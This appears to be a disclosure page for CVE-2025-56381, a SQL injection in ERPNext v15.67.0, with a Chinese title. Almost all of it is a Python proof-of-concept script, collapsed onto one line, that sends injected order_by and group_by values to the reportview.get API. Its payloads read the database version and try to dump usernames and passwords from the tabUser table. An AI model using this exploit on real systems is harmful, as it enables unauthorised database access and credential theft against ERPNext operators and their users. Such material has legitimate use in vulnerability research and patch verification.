CVE-2025-56381：ERPNext v15.67.0 SQL注入漏洞

import requests # CVE-2025-56381 - ERPNext SQL Injection PoC # Target: /api/method/frappe.desk.reportview.get # Vulnerable parameters: order_by, group_by TARGET_URL = "https://target-erpnext.com" ENDPOINT = "/api/method/frappe.desk.reportview.get" def exploit_sql_injection(target_url, param_name, payload): """ Exploit SQL injection in order_by or group_by parameters """ url = f"{target_url}{ENDPOINT}" # Base parameters for the reportview.get method data = { "doctype": "User", "fields": ["name", "email"], "filters": {}, "order_by": "name asc", "group_by": "" } # Inject malicious payload into the specified parameter if param_name == "order_by": data["order_by"] = payload elif param_name == "group_by": data["group_by"] = payload try: response = requests.post(url, json=data, timeout=30) if response.status_code == 200: print(f"[+] Request successful via {param_name}") print(f"[+] Response: {response.text[:500]}") return response.json() else: print(f"[-] Request failed with status: {response.status_code}") return None except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": # Example: Extract database version via UNION-based injection in order_by payload_order_by = "name asc, (SELECT 1 UNION SELECT @@version)-- -" exploit_sql_injection(TARGET_URL, "order_by", payload_order_by) # Example: Extract user credentials via group_by injection payload_group_by = "name UNION SELECT username, password FROM tabUser-- -" exploit_sql_injection(TARGET_URL, "group_by", payload_group_by)